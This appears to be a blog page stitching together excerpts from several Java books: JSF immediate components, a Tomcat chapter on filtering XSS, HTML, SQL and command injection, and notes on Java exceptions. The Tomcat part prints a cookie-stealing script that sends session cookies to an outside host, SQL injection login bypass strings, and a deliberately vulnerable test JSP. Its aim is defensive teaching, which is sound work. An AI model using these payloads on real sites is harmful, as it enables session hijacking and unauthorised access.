Thursday, October 22, 2009

Immediate Components



Immediate Components


In "Life
Cycle Events" on page 268, we saw that value change events are normally fired
after the Process Validations phase, and action events are normally fired after
the Invoke Application phase. Typically, that is the preferred behavior. You
usually want to be notified of value changes only when they are valid, and
actions should be invoked after all submitted values have been transmitted to
the model.


But sometimes you want value change
events or action events to fire at the beginning of the life cycle to bypass
validation for one or more components. In "Using Immediate Input Components"
on page 288 and
"Bypassing
Validation" on page 237, we make compelling arguments for such
behavior. For now, we will look at the mechanics of how immediate events are
delivered, as illustrated by Figure 7-6.





Figure 7-6. Immediate components


[View full size image]





Immediate events are fired after the
Apply Request Values phase. For input components, conversion and validation are
performed after the Apply Request Values phase, and value change events are
subsequently fired. For command components, action listeners are invoked,
followed by actions; that process kicks in the navigation handler and
circumvents the rest of the life cycle up to Render Response.


Using Immediate Input
Components


Figure 7-7 shows the value change
example discussed in "Value
Change Events" on page 269. Recall that the application uses a value change listener
to change the view's locale, which in turn changes the localized state prompt
according to the selected locale.





Figure 7-7. Unwanted validation






Here we have made a seemingly innocuous
change to that application: We added a required validator to the
Address field and added a message tag to the
form. But that validation results in an error when we
select a country
without filling in the Address field (recall that the country menu submits its form when
its value is changed).


The problem is this: We want
validation to kick in when the submit button is activated, but not when the
country is changed. How can we specify validation for one but not the other?


The solution is to make the country menu
an immediate
component. Immediate input components perform conversion and validation, and
subsequently deliver value change events at the beginning of the JSF life
cycle—after the Apply Request Values—instead of after Process Validations.


We specify immediate
components with the immediate attribute, which is
available to all input and command components:



   <h:selectOneMenu value="#{form.country}" onchange="submit()"immediate="true"
valueChangeListener="#{form.countryChanged}">
<f:selectItems value="#{form.countryNames}"/>
</h:selectOneMenu>



With the immediate attribute set to true, our menu fires value change events after Apply Request
Values, well before any other input components are validated. You may wonder
what good that does us if the other validations happen later instead of
sooner—after all, the validations will still be performed and the validation
error will still be displayed. To prevent validations for the other components
in the form, we have one more thing to do, which is to call the faces context
renderResponse method at the end of our
value change listener, like this:


  private static final String US = "United States";
...
public void countryChanged(ValueChangeEvent event) {
FacesContext context = FacesContext.getCurrentInstance();

if (US.equals((String) event.getNewValue()))
context.getViewRoot().setLocale(Locale.US);
else
context.getViewRoot().setLocale(Locale.CANADA);

context.renderResponse();
}


The call to renderResponse()
skips the rest of the life cycle—including validation of the rest of the input
components in the form—up to Render Response. Thus, the other validations are
skipped and the response is rendered normally (in this case, the current page is
redisplayed).


To summarize, you can skip validation
when a value change event fires by doing the following:






  1. Adding an immediate attribute to your input tag




  2. Calling FacesContext.renderResponse() at the end of your listener


One more thing is noteworthy about this
example. Notice that we add an onchange attribute whose
value is submit() to our h:selectOneMenu tag. Setting that
attribute means that the JavaScript submit
function will be invoked whenever someone changes the selected value of the
menu, which causes the surrounding form to be submitted.


That form submit is crucial because the JSF implementation handles all events on the
server
. If you take out the onchange attribute, the form will not be submitted when the selected
menu item is changed, meaning that the JSF life cycle will never be invoked, our
value change listener will never be called, and the locale will never be
changed.


You may find it odd
that JSF handles all events on the server, but remember that you can handle events on the
client if you wish by attaching JavaScript to components with attributes such as
onblur, onfocus, onclick, etc.
Also, client-side event handling is on the table for the next version of
JSF.


Using Immediate Command
Components


In Chapter
4 we discussed an application, shown in Figure 7-8, that uses command links to change locales.





Figure 7-8. Changing locales with links






If we add a required validator to
one of the input fields in the form, we will have the same problem we had with
the application discussed in "Using Immediate Input Components"
on page 288: The validation error will appear when we just want to
change the locale by clicking a link. This time, however, we need an immediate
command component instead
of an immediate input component. All we need to
do is add an immediate attribute to our h:commandLink tag,
like this:


  <h:commandLink action="#{localeChanger.germanAction}" immediate="true">
<h:graphicImage value="/german_flag.gif" style="border: 0px"/>
</h:commandLink>


Unlike value change events, we do not
need to modify our listener to invoke FacesContext.renderResponse() because all actions, immediate or not, proceed directly
to the Render Response phase, regardless of when they are fired.

6.6 Filtering Bad User Input








 

 












6.6 Filtering Bad User Input





Regardless of what you use Tomcat for, if

untrusted users can submit requests to your Tomcat server, it is at

risk of being attacked by malicious users. Tomcat's

developers have endeavored to make Tomcat as secure as they can, but

ultimately it's Tomcat's

administrators who install and configure Tomcat, and

it's the web application developers who must develop

the web applications that operate within Tomcat. As secure as Tomcat

is, it's still easy to write an insecure web

application. However, just writing an application that does what it

needs to do is difficult. Knowing all of the ways that malicious

users could exploit the web application code (and how to prevent that

exploitation from happening) probably isn't the web

developers' main focus.





Unfortunately, if the web application itself is not specifically

written to be secure, Tomcat may not be secure either. There are a

small number of known web application security exploits that can

compromise a web site's security. For that reason,

anyone administering a Tomcat installation should not assume that

Tomcat has already taken care of all of the security concerns!

Configuring Tomcat to use a security manager helps to secure these

web applications and installing Tomcat in a chroot

jail sets OS kernel-level restrictions that are hard to break out of,

but doing those things doesn't magically fix all

vulnerabilities. Some exploits will still work, depending on the

features of the applications you run.





If you administer one or more Tomcat installations that run untrusted

web applications from customers or other groups of people, or if you

run web applications that you did not write and do not have the

source code for, you probably can't change the

applications, regardless of whether they're secure.

You may be able to choose not to host them on your servers, but

fixing the application code to be secure is rarely an option. Even

worse, if you host multiple web applications in a single running

instance of Tomcat and one of the applications has security

vulnerabilities, the vulnerable application could make

all of your web applications insecure. As the

administrator, you should do what you can to filter bad user input

before it reaches the potentially vulnerable web applications, and

you should be proactive about researching known security

vulnerabilities that may affect your servers.





In this section, we show you the details of some well-known web

application security vulnerabilities and some suggested workarounds,

and then show you some filter code that you can install and use to

protect your Tomcat instances.







6.6.1 Vulnerabilities





Let's look at the details of some of the web

application security exploits. These exploits are all remote-user

exploits, which means a malicious remote user sends carefully crafted

request data to Tomcat in an attempt to circumvent the web

application's security. But, if you can filter out

the bad data, you can prevent the attacks from succeeding.







6.6.1.1 Cross-site scripting




This is one of the most commonly

known web application security exploits. Simply put, cross-site

scripting (XSS)[1] is the act of writing malicious web browser scripting

code and tricking another user's web browser into

running it, all by way of a third party's web server

(such as your Tomcat). XSS attacks are possible when a web

application echoes back user-supplied request data without first

filtering it. XSS is most common when the web application is being

accessed by users with web browsers that support scripting languages

(e.g., JavaScript or VBScript). Usually, XSS attacks attempt to steal

a user's session cookie value, which the attacker

then uses to log into the web site as the user who owned the cookie,

obtaining full access to the victim's capabilities

and identity on that web site. This is commonly referred to as HTTP

session hijacking.



[1] Some people abbreviate it CSS because

"cross" starts with a letter C.

However, like most Three Letter Acronyms (TLAs), that combination

already had an even more commonly known meaning: Cascading Style

Sheets. So, to avoid any confusion between these two different web

concepts, we now abbreviate cross-site scripting as XSS.





Here's one example of how XSS could be used to

hijack a user's session. A web site (called

www.example.com for the purpose of this example)

running on Tomcat is set up to allow users to browse the web site and

read discussion forums. In order to post a message to the discussion

forum, the site requires that users log in, but it offers free

account registration. Once logged in, a user can post messages in

discussion forums and do other things on the site, such as online

shopping. A malicious attacker notices that the web site supports a

search function that echoes back user search query strings, and it

does not filter or escape any special characters that users supply in

the search query strings. That is, if users search for

"foo", they get a list of all pages

that refer to "foo". However, if

there are no search results for

"foo", the server says something

like "Could not find any documents including

`foo'."





The attacker then tries a search query like this:





<b>foo</b>




The site replies back:





Could not find any documents including 'foo'.




Notice that the search result message interpreted the bold tags that

were typed into the search query string as HTML, rather than text!

Then, the user tries this query string:





 <script language='javascript'>alert(document.cookie)</script>




If the server echoes this back to the web browser verbatim, the web

browser will see the query string content as regular HTML containing

an embedded script that opens an alert dialog window. This window

shows any and all HTTP cookies (including their values) that apply to

this web page. If the web site does this, and the user has a session

cookie, the attacker knows the following things:







  • The web application is usable for XSS attacks because it

    doesn't adequately filter user input, at least on

    this page.



  • It is possible to use this web site to relay a small JavaScript

    program that will run on another user's web browser.



  • It is possible to use this web site to obtain another

    user's login session cookie and do something with

    that cookie's value.





The attacker then writes a very short JavaScript program that takes

the session cookie and sends it to the attacker's

machine for inspection. For example, if the attacker hacked into an

account on the www.groovywigs.com server and

wanted to inspect a victim's cookie on that machine,

he could write a JavaScript program that sends the

victim's session cookie value to that account like

this:





<script language="javascript">document.location="http://www.groovywigs.com/foo" + 

document.cookie</script>




Once run, this script makes a JavaScript-enabled web browser send the

session cookie value to www.groovywigs.com.





To execute this script, the attacker finds out how search parameters

are sent to the vulnerable site's search engine.

This is most likely done through simple request parameters, and the

relevant URL looks something like this:





http://www.example.com/search?query=foo




By using that example, the malicious user then creates a URL that

includes his script and sends a victim's browser to

a place where the attacker can inspect the victim's

session cookie:





http://www.example.com/search?query=<script language="javascript">document.

location="http://www.groovywigs.com/foo" + document.cookie</script>




Then, using URL encoding, the malicious user disguises the same URL

content:





http://www.example.com/search?query=%3Cscript+language%3D%22javascript%22%3Edocument.

location%3D%22http%3A%2F%2Fwww.groovywigs.com%2Ffoo%22+%2B+document.

cookie%3C%2Fscript%3E




This URL does the same thing as the previous URL, but it is less

human-readable. By further encoding some of the other items in the

URL, such as "javascript" and the

"document.cookie" strings, the attacker can make

it even harder to recognize the URL as an XSS-attack URL.





The attacker then finds a way to get this XSS exploit link into one

or more of the web site users' web browsers.

Usually, the more users that the attacker can give the link to, the

more victims there are to exploit. So, sending it in a mailing list

email or posting it to a discussion forum on the web site will get

lots of potential victims looking at it�and some will click on

it. The attacker creates a fake user account on the

www.example.com web site using fake personal

data (verified with a fake email account from which he can send a

verification reply email). Once logged into the web site with this

new fake user account, the attacker posts a message to the discussion

forum that includes the link. Then, the attacker logs out and waits,

watching the access logs of the

www.groovywigs.com web server he is hacked into.

If a logged-in user of www.example.com clicks on

the link, her session cookie value will show up in the access log of

www.groovywigs.com. Once the attacker has this

cookie value, he can use this value to access the account of the

victim without being prompted to log into the site.

















How the user makes her web browser use this cookie value is different

for every brand of web browser, and can even vary across versions of

the same brand of browser, but there's always a way

to use it.







The worst case scenario here is for the web site to store sensitive

information such as credit card numbers (for the online shopping

portions of the web site) and have them compromised because of an XSS

attack. It's possible that the attacker could

silently record the credit card information without the users on this

site knowing that it happened, and the administrators of

www.example.com would never know that they are

the source of the information leak.





A large number of popular web sites are vulnerable to XSS exploits.

They may not make it as easy as the previous example, but if

there's a spot in a web application where unfiltered

input is echoed back to a user, then XSS exploits can be devised. On

some sites, it's not even necessary for the attacker

to have a valid user account in order to use an XSS exploit. Web

servers with web applications that are vulnerable to XSS attacks are

written in all programming languages (including Java) and run on any

operating system. It's a generic and widespread web

browser scripting problem, and it's a problem on the

server side that comes mainly from not validating and filtering bad

user input.





What can you do as a Tomcat administrator to help fix the problem?







  • Configure Tomcat to use the BadInputFilterValve

    shown in Section 6.6.2, later in

    this chapter. This Valve is written to escape

    certain string patterns from the GET and

    POST parameter names and values so that most XSS

    exploits fail to work, without modifying or disabling your web

    applications.



  • In cases where Tomcat Valves

    aren't available, rework your applications so that

    they validate user input by escaping special characters and filtering

    out vulnerable string patterns, much like the

    BadInputFilterValve does.



  • Read the XSS-related web pages referenced in the Section 6.6.3 of this chapter, and

    learn about how these exploits work. Filter all user request data for

    anything that could cause a user's web browser to

    run a user-supplied script. This includes GET and

    POST parameters (both the names and the values),

    HTTP request header names and their values (including cookies), and

    any other URL fragments, such as URI path info.



  • Read about other suggested solutions to XSS attacks around the Web,

    and look into whether they would help you. This will probably help

    you stay up-to-date on potential solutions.



  • Use only HTTPS and CLIENT-CERT authentication, or implement some

    other method of session tracking that doesn't use

    HTTP cookies. Doing this should thwart any XSS attack that attempts

    to hijack a user's session by stealing the session

    cookie value.





As usual, there's no way to filter and catch 100% of

the XSS exploit content, but you can certainly protect against most

of it.











6.6.1.2 HTML injection




This

vulnerability is also caused by improper user input validation and

filtering. HTML injection is the act of writing and inserting HTML

content into a site's web pages so that other users

of the web site see things that the administrators and initial

authors of the web site didn't intend to publish.

This content does not include any scripting code, such as JavaScript

or VBScript�that is what a cross-site scripting exploit does.

This vulnerability is about plain HTML.

















Some advisory pages call this "HTML

insertion."







Here are some examples of what a malicious user could use HTML

injection to do, depending on what features the vulnerable web site

offers:







  • Trick the web site's users into submitting their

    username and password to an attacker's server by

    inserting a malicious HTML form (a "Trojan

    horse" HTML injection attack).



  • Include a remotely-hosted malicious web page in its entirety within

    the vulnerable site's web page (for example, using

    an inner frame). This can cause a site's users to

    think that the attacker's web page is part of the

    site and unknowingly disclose sensitive data.



  • Publish illegal or unwanted data on a web site without the owners of

    the web site knowing. This includes defacing a web site, placing a

    collection of pirate or illegal data links (or even illegal data

    itself) on a site, etc.





Most web sites that are vulnerable to HTML injection allow (at a

minimum) an attacker to use an HTTP GET request to

place as much data on the vulnerable site as the HTTP client will

allow in a single URL, without the attacker being logged into the

vulnerable site. Like with XSS attacks, the attacker can send these

long URLs in email or place them on other web pages for users to find

and use. Of course, the longer the URL, the less likely it is that

people will click on them, unless the link's URL is

obscured from their view (for instance, by placing the long URL in an

HTML href link).





Needless to say, this vulnerability is a serious one. Surprisingly,

we weren't able to find much information on the Web

that was solely about HTML injection and not about XSS as well. This

is largely because most HTML injection vulnerabilities in web

applications can also be used for XSS. However, many sites that

protect against XSS by filtering on tags such as

<script> are still completely vulnerable to

HTML injection.





What can you do as a Tomcat administrator to help fix the problem?







  • Configure Tomcat to use the BadInputFilterValve

    shown in Section 6.6.2, later in

    this chapter.



  • If you can't install any Tomcat

    Valves, rework your applications so that they

    validate user input by escaping special characters and filtering out

    vulnerable string patterns, much like the

    BadInputFilterValve does.



  • Filter all user request data for the < and

    > characters, and if they're

    found, translate them to &lt; and

    &gt;, respectively. This includes

    GET and POST parameters (both

    the names and the values), HTTP request header names and their values

    (including cookies), and other URL fragments, such as URI path

    information.



  • Run only web applications that do not allow users to input HTML for

    display on the site's web pages.



  • Once you think your site is no longer vulnerable, move on to

    researching as many different kinds of XSS attacks as you can find

    information about, and try to filter those as well, since many

    obscure XSS vulnerabilities can cause more HTML injection

    vulnerabilities.











6.6.1.3 SQL injection




In

comparison to XSS and HTML injection, SQL injection vulnerabilities

are quite a bit rarer and more obscure. SQL injection is the act of

submitting malicious SQL query string fragments in a request to a

server (usually an HTTP request to a web server) in order to

circumvent database-based security on the site. SQL injection can

also be used to manipulate a site's SQL database in

a way that the site's owners and authors

didn't anticipate (and probably

wouldn't like). This type of attack is possible when

a site allows user input in SQL queries and has improper or

nonexistent validation and filtering of that user input.

















This vulnerability is also known as "SQL

insertion."







The only way that server-side Java code can be vulnerable to this

kind of an attack is when the Java code doesn't use

JDBC PreparedStatements. If

you're sure that your web application uses

only JDBC PreparedStatements,

it's unlikely your application is vulnerable to SQL

injection exploits. This is because

PreparedStatements do not allow the logic

structure of a query to be changed at variable insertion time, which

is essential for SQL insertion exploits to work. If your web

application drives non-Java JDBC code that runs SQL queries, then

your application may also be vulnerable. Aside from

Java's PreparedStatements (and

any corresponding functionality in other programming languages), SQL

injection exploits can work on web applications written in any

language for any SQL database.





Here's an example of a SQL injection vulnerability.

Let's say your web application is written in Java

using JDBC Statements and not

PreparedStatements. When a user attempts to log

in, your application creates a SQL query string using the username

and password to see if the user exists in the database with that

password. If the username and password strings are stored in

variables named username and

password, for example, you might have code in your

web application that looks something like this:





// We already have a connection to the database. Create a Statement to use.

Statement statement = connection.createStatement( );



// Create a regular String containing our SQL query for the user's login,

// inserting the username and password into the String.

String queryString = "select * from USER_TABLE where USERNAME='" +

username + "' and PASSWORD='" + password + "';";



// Execute the SQL query as a plain String.

ResultSet resultSet = statement.executeQuery(queryString);



// A resulting row from the db means that the user successfully logged in.




So, if a user logged in with the username of

"jasonb" and a password of

"guessme", the following code would

assign this string value to queryString:





select * from USER_TABLE where USERNAME='jasonb' and PASSWORD='guessme';




The string values of the username and

password variables are concatenated into the

queryString, regardless of what they contain. For

the purposes of this example, let's also assume that

the application doesn't yet do any filtering of the

input that comes from the username and password web page form fields

before including that input in the queryString.





Now that you understand the vulnerable setup, let's

examine the attack. Consider what the queryString

would look like if a malicious user typed in a username and password

like this:





Username: jasonb

Password: ' or '1'='1




The resulting queryString would be:





select * from USER_TABLE where USERNAME='jasonb' and PASSWORD='' or '1'='1';




Examine this query closely: while there might not be a user in the

database named jasonb with an empty password,

'1' always equals '1', so the

database happily returns all rows in the

USER_TABLE. The web application code will probably

interpret this as a valid login since one or more rows were returned.

An attacker won't know the exact query being used to

check for a valid login, so it may take some guessing to get the

right combination of quotes and Boolean logic, but eventually a

clever attacker will break through.





Of course, if the quotation marks are escaped before they are

concatenated into the queryString, it becomes much

harder to insert additional SQL logic into the

queryString. Further, if whitespace

isn't allowed in these fields, it

can't be used to separate logical operators in the

queryString. Even if the application

doesn't use PreparedStatements,

there are still ways of protecting the site against SQL injection

exploits�simply filtering out whitespace and quotes makes SQL

injection much more difficult to accomplish.





Another thing to note about SQL injection vulnerabilities is that

each brand of SQL database has different features, each of which

might be exploitable. For instance, if the web application runs

queries against a MySQL database, and MySQL allows the

# character to be used as a comment marker, an

attacker might enter a username and password combination like this:





Username: jasonb';#

Password: anything




The resulting queryString would look like this:





select * from USER_TABLE where USERNAME='jasonb';# and PASSWORD='anything';




Everything after the # becomes a comment, and the

password is never checked. The database returns the row

where USERNAME='jasonb', and the application

interprets that result as a valid login. On other databases, two

dashes (--) mark the beginning of a comment and

could be used instead of #. Additionally, single

or double quotes are common exploitable characters.





There are even rare cases where SQL injection exploits call stored

procedures within a database, which then can perform all sorts of

mischief. This means that even if Tomcat is installed in a secure

manner, the database may still be vulnerable to attack through

Tomcat, and one might render the other insecure if

they're both running on the same server computer.





What can you do as a Tomcat administrator to help fix the problem?







  • Configure Tomcat to use the BadInputFilterValve

    shown in Section 6.6.2, later in

    this chapter.



  • If you can't install any Tomcat

    Valves, rework your web application to use only

    PreparedStatements and to validate user input by

    escaping special characters and filtering out vulnerable string

    patterns, much like the BadInputFilterValve does.



  • Filter all user request data for the single and double quote

    characters, and if they're found, translate them to

    &#39; and &quot;,

    respectively. This includes GET and

    POST parameters (both the names and the values),

    HTTP request header names and their values (including cookies), and

    any other URL fragments, such as URI path info.











6.6.1.4 Command injection




Command injection is the act of

sending a request to a web server that will run on the

server's command line in a way that the authors of

the web application didn't anticipate in order to

circumvent security on the server. This vulnerability is found on all

operating systems and server software that run other command-line

commands to perform some work as part of a web application. It is

caused by improper or nonexistent validation and filtering of the

user input before passing the user input to a command-line command as

an argument.





There is no simple way to determine whether your application is

vulnerable to command injection exploits. For this reason,

it's a good idea to always validate user input.

Unless your web application uses the CGIServlet or

invokes command-line commands on its own, your web application

probably isn't vulnerable to command injection

exploits.





In order to guard against this vulnerability, most special characters

must be filtered from user input, since command shells accept and use

so many special characters. Filtering these characters out of all

user input is usually not an option because some parts of web

applications commonly need some of the characters that must be

filtered. Escaping the backtick, single quote, and double quote

characters is probably good across the board, but for other

characters it may not be so simple. To account for a specific

application's needs, you might need custom input

validation code.





What can you do as a Tomcat administrator to help fix the problem?







  • Configure Tomcat to use the BadInputFilterValve

    shown in Section 6.6.2.



  • If you can't install any Tomcat

    Valves, rework your web applications so that they

    validate user input by escaping special characters and filtering out

    vulnerable string patterns, much like the

    BadInputFilterValve does.



  • Filter all user request data, and allow only the following list of

    characters to pass through unchanged:

    "0-9A-Za-z@-_:".

    All other characters should not be allowed. This

    includes GET and POST

    parameters (both the names and the values), HTTP request header names

    and their values (including cookies), and any other URL fragments,

    such as URI path info.











6.6.2 HTTP Request Filtering





Now that

you've seen the details of some different exploit

types and our suggested solutions, we show you how to install and

configure code that will fix most of these problems.





In order to easily demonstrate the problem, and to test a solution,

we've coded up a single JSP page that acts like a

common web application, taking user input and showing a little

debugging information. Example 6-4 shows the JSP

source of the input_test.jsp page.







Example 6-4. JSP source of input_test.jsp


<html>

<head>

<title>Testing for Bad User Input</title>

</head>

<body>



Use the below forms to expose a Cross-Site Scripting (XSS) or

HTML injection vulnerability, or to demonstrate SQL injection or

command injection vulnerabilities.



<br><br>



<!-- Begin GET Method Search Form -->

<table border="1">

<tr>

<td>

Enter your search query (method="get"):



<form method="get">

<input type="text" name="queryString1" width="20"

value="<%= request.getParameter("queryString1")%>"

>

<input type="hidden" name="hidden1" value="hiddenValue1">

<input type="submit" name="submit1" value="Search">

</form>

</td>

<td>

queryString1 = <%= request.getParameter("queryString1") %><br>

hidden1 = <%= request.getParameter("hidden1") %><br>

submit1 = <%= request.getParameter("submit1") %><br>

</td>

</tr>

</table>

<!-- End GET Method Search Form -->



<br>



<!-- Begin POST Method Search Form -->

<table border="1">

<tr>

<td>

Enter your search query (method="post"):



<form method="post">

<input type="text" name="queryString2" width="20"

value="<%= request.getParameter("queryString2")%>"

>

<input type="hidden" name="hidden2" value="hiddenValue2">

<input type="submit" name="submit2" value="Search">

</form>

</td>

<td>

queryString2 = <%= request.getParameter("queryString2") %><br>

hidden2 = <%= request.getParameter("hidden2") %><br>

submit2 = <%= request.getParameter("submit2") %><br>

</td>

</tr>

</table>

<!-- End POST Method Search Form -->



<br>



<!-- Begin POST Method Username Form -->

<table border="1">

<tr>

<td width="50%">

<% // If we got a username, check it for validity.

String username = request.getParameter("username");

if (username != null) {

// Verify that the username contains only valid characters.

boolean validChars = true;

char[] usernameChars = username.toCharArray( );

for (int i = 0; i < username.length( ); i++) {

if (!Character.isLetterOrDigit(usernameChars[i])) {

validChars = false;

break;

}

}

if (!validChars) {

out.write("<font color=\"red\"><b><i>");

out.write("Username contained invalid characters. ");

out.write("Please use only A-Z, a-z, and 0-9.");

out.write("</i></b></font><br>");

}

// Verify that the username length is valid.

else if (username.length( ) < 3 || username.length( ) > 9) {

out.write("<font color=\"red\"><b><i>");

out.write("Bad username length. Must be 3-9 chars.");

out.write("</i></b></font><br>");

}

// Otherwise, it's valid.

else {

out.write("<center><i>\n");

out.write("Currently logged in as <b>" + username + "\n");

out.write("</b>.\n");

out.write("</i></center>\n");

}

}

%>



Enter your username [3-9 alphanumeric characters]. (method="post"):



<form method="post">

<input type="text" name="username" width="20"

value="<%= request.getParameter("username")%>"

>

<input type="hidden" name="hidden3" value="hiddenValue3">

<input type="submit" name="submit3" value="Submit">

</form>



</td>

<td>

username = <%= request.getParameter("username") %><br>

hidden3 = <%= request.getParameter("hidden3") %><br>

submit3 = <%= request.getParameter("submit3") %><br>

</td>

</tr>

</table>

<!-- End POST Method Username Form -->



</body>

</html>






Copy the input_test.jsp file into your

ROOT web application:





# cp input_test.jsp $CATALINA_HOME/webapps/ROOT/




Access the page at http://localhost:8080/input_test.jsp. When it

loads, it should look like Figure 6-3.







Figure 6-3. input_test.jsp running






The forms on the page contain two mock search query forms and one

mock username entry form. The two search query forms are basically

the same, but one uses HTTP GET and the other uses

HTTP POST. Additionally, their parameters are

numbered differently so that we can play with both forms at once and

keep their parameter values from interfering with each other. The

page does absolutely no input validation for the search query forms,

but it does perform input validation for the username form. All of

the forms on the page automatically repopulate themselves with the

last submitted value (or null if there

isn't any last value).





Try entering data into the forms to expose the

page's vulnerabilities. Here are some examples:







  • Enter <script

    language="javascript">alert(document.cookie)</script>


    into one of the search fields to display your own session cookie by

    way of XSS.



  • Enter <iframe

    src=http://jakarta.apache.org></iframe>
    into one

    of the search fields to demonstrate that an HTML injection exploit

    would work.



  • Try entering "><input type="hidden" name="hidden3"

    value="SomethingElse">
    into the username field, and then

    enter foo and submit again. Notice that on the

    second submittal, the value of hidden3 changed to

    SomethingElse. That's a

    demonstration of incomplete input validation, plus parameter

    manipulation.



  • Enter a username of jasonb' OR ''=' and note that

    it does indeed set the username parameter to that

    string, which could take advantage of an SQL injection vulnerability

    (depending on how the application's database code is

    written).





For each input field in your web application, make an exact list of

all of the characters that your application needs to accept as user

input. Accept only those characters, and filter

everything else out. That approach seems safest. Although, if the

application accepts a lot of special characters, you may end up

allowing enough for various exploits. To work around these cases, you

can use exploit pattern search and replace filtering (for instance,

regular expression search and replace), but usually only for exploits

that you know about in advance. Fortunately, we have information

about several common web application security exploits for which we

can globally filter.





If you globally filter all request information for regular expression

patterns that you know are used mostly for exploits, you can modify

the request before it reaches your code and stop the known exploits.

Upon finding bad request data, you should either forbid the request

or escape the bad request data. That way, applications

don't need to repeat the filter code, and the

filtering can be done globally with a small number of administration

and maintenance points. You can achieve this kind of global filtering

by installing a custom Tomcat Valve.





Tomcat Valves offer

a way to plug code into Tomcat and have that code run at various

stages of request and response processing, with the web application

content running in the middle (i.e., after the request processing and

before the response processing). Valves are not

part of a web application, but are code modules that run as if they

were part of Tomcat's servlet container itself.

Another great thing about Valves is that a Tomcat

administrator can configure a Valve to run for all

deployed web applications or for a particular web

application�whatever scope is needed for the desired effect.

Appendix D contains the complete source code for

BadInputFilterValve.java.















BadFilterValve filters only parameter names and

values. It does not filter header names or

values, or other items (such as path info) that could contain

exploitation data. Filtering the parameters will do for most attacks,

but not for all, so beware.







BadInputFilterValve filters various bad input

patterns and characters in order to stop XSS, HTML injection, SQL

injection, and command injection exploits. Table 6-2 shows the allowed attributes of the

BadInputFilterValve, for use in your

server.xml configuration file.















































































Table 6-2. BadInputFilterValve attributes


Attribute





Meaning





className





The Java class name of this Valve implementation;

must be set to

com.oreilly.tomcat.valves.BadInputFilterValve.





debug





Debugging level, where 0 is none, and positive

numbers result in increasing detail. The default is

0.





escapeQuotes





Determines whether this Valve will escape any

quotes (both double and single quotes) that are part of the request,

before the request is performed. Defaults to true.





escapeAngleBrackets





Determines whether this Valve will escape any

angle brackets that are part of the request, before the request is

performed. Defaults to true.





escapeJavaScript





Determines whether this Valve will escape any

potentially dangerous references to JavaScript functions and objects

that are part of the request. Defaults to true.





allow





A comma-delimited list of the allowed regular expressions configured

for this Valve, if any.





deny





A comma-delimited list of the disallowed regular expressions

configured for this Valve, if any.







To compile the Valve, first set the

CATALINA HOME environment variable, and then

create a directory for the class in

$CATALINA_HOME/server/classes, like this:





# export CATALINA_HOME=/usr/local/jakarta-tomcat-4.1.24

# mkdir -p $CATALINA_HOME/server/classes/com/oreilly/tomcat/valves




Then, copy the file into this directory and compile it:





# cd $CATALINA_HOME/server/classes

# javac -classpath $CATALINA_HOME/server/lib/catalina.jar:$CATALINA_HOME/common/lib/

servlet.jar:$CATALINA_HOME/server/lib/jakarta-regexp-1.2.jar -d $CATALINA_HOME/

server/classes com/oreilly/tomcat/valves/BadInputFilterValve.java




Once the class is compiled, remove the source from the Tomcat

directory tree:





# rm com/oreilly/tomcat/valves/BadInputFilterValve.java




Then, configure the Valve in your

server.xml. Edit your

$CATALINA_HOME/conf/server.xml file and add a

declaration to your default Context, like this:





<Context path="" docBase="ROOT" debug="0">

<Valve className="com.oreilly.tomcat.valves.BadInputFilterValve"

deny="\x00,\x04,\x08,\x0a,\x0d"/>

</Context>




Then, stop and restart Tomcat:





# /etc/rc.d/init.d/tomcat4 stop

# /etc/rc.d/init.d/tomcat4 start




It's okay if you get the following errors in your

catalina.out log on startup and shutdown:





ServerLifecycleListener: createMBeans: MBeanException

java.lang.Exception: ManagedBean is not found with BadInputFilterValve




You may also get errors like this:





ServerLifecycleListener: destroyMBeans: Throwable

javax.management.InstanceNotFoundException: MBeanServer cannot find MBean with

ObjectName Catalina:type=Valve,sequence=5461717,path=/,host=localhost,service=Tomcat-

Standalone




That's just the JMX management code saying that it

doesn't know how to manage this new

Valve, which is okay.





Now that you've installed the

BadInputFilterValve, your

input_test.jsp page should be immune to all XSS,

HTML injection, SQL injection, and command injection exploits. Try

submitting the same exploit parameter contents as before. This time,

it will escape the exploit characters and strings instead of

interpreting them.









6.6.3 See Also







General information about filtering bad user input








http://www.owasp.org/asac/input_validation





http://www.cgisecurity.com





Cross-site scripting (XSS)




http://www.cert.org/advisories/CA-2000-02.html





http://www.idefense.com/idpapers/XSS.pdf





http://www.cgisecurity.com/articles/xss-faq.shtml





http://www.ibm.com/developerworks/security/library/s-csscript/?dwzone=security





http://archives.neohapsis.com/archives/vulnwatch/2002-q4/0003.html





http://www.owasp.org/asac/input_validation/css.shtml





http://httpd.apache.org/info/css-security/





http://apache.slashdot.org/article.pl?sid=02/10/02/1454209&mode=thread&tid=128





HTML injection




http://www.securityps.com/resources/webappsec_overview/img18.html





SQL injection




http://www.securiteam.com/securityreviews/5DP0N1P76E.html





http://www.owasp.org/asac/input_validation/sql.shtml





Command injection




http://www.owasp.org/asac/input_validation/os.shtml





Path traversal




http://www.owasp.org/asac/input_validation/pt.shtml





Metacharacters




http://www.owasp.org/asac/input_validation/nulls.shtml





http://www.owasp.org/asac/input_validation/meta.shtml





Open source web application security tools




http://www.owasp.org






















     

     


    Section 7.2. Checked/Unchecked Exceptions and Errors







    7.2. Checked/Unchecked Exceptions and Errors

    Exceptions and errors fall into three categories: checked exceptions, unchecked exceptions, and errors.

    7.2.1. Checked Exceptions

    • Checked exceptions are checked by the compiler at compile time.

    • Methods that throw a checked exception must indicate so in the method declaration using the throws clause. This must continue all the way up the calling stack until the exception is handled.

    • All checked exceptions must be explicitly caught with a catch block.

    • Checked exceptions include exceptions of the type Exception, and all classes that are subtypes of Exception, except for RuntimeException and the subtypes of RuntimeException.

    The following is an example of a method that throws a checked exception:

    	// Method declaration that throws
    // an IOException
    void readFile(String filename)
    throws IOException {
    ...
    }


    7.2.2. Unchecked Exceptions

    • The compiler does not check unchecked exceptions at compile time.

    • Unchecked exceptions occur during runtime due to programmer error (out-of-bounds index, divide by zero, and null pointer exception) or system resource exhaustion.

    • Unchecked exceptions do not have to be caught.

    • Methods that may throw an unchecked exception do not have to (but can) indicate this in the method declaration.

    • Unchecked exceptions include exceptions of the type RuntimeException and all subtypes of RuntimeException.

    7.2.3. Errors

    • Errors are typically unrecoverable and present serious conditions.

    • Errors are not checked at compile time and do not have to be (but can be) caught/handled.

    Any checked exceptions, unchecked exceptions, or errors can be caught.









    Network Data Representation


    3 4



    Network Data Representation



